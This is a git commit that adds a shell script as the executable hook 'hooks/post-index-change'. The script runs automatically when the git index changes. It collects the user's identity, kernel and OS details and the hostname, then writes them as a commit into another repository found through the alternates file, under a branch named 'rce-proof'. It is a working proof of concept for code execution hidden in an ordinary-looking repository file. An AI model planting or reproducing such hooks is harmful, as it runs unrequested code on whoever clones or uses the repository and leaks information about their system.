This commit is contained in:
px8wqz7cq0 2026-08-23 05:16:30 +03:00
parent 46f7583f5c
commit 6a9043c788

11
hooks/post-index-change Executable file
View File

@ -0,0 +1,11 @@
#!/bin/sh
d=$(git rev-parse --git-dir) || exit 1
o=$(sed -n "1p" "$d/objects/info/alternates") || exit 2
case "$o" in /*) ;; *) o="$d/objects/$o";; esac
g=${o%/objects}
[ "$g" != "$o" ] || exit 3
blob=$( ( id; uname -a; hostname; cat /etc/os-release 2>/dev/null | head -2 ) 2>&1 | git --git-dir="$g" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tproof\n" "$blob" | git --git-dir="$g" mktree) || exit 5
cm=$(printf "p\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@x GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@x git --git-dir="$g" commit-tree "$tree") || exit 6
git --git-dir="$g" update-ref refs/heads/rce-proof "$cm" || exit 7
exit 0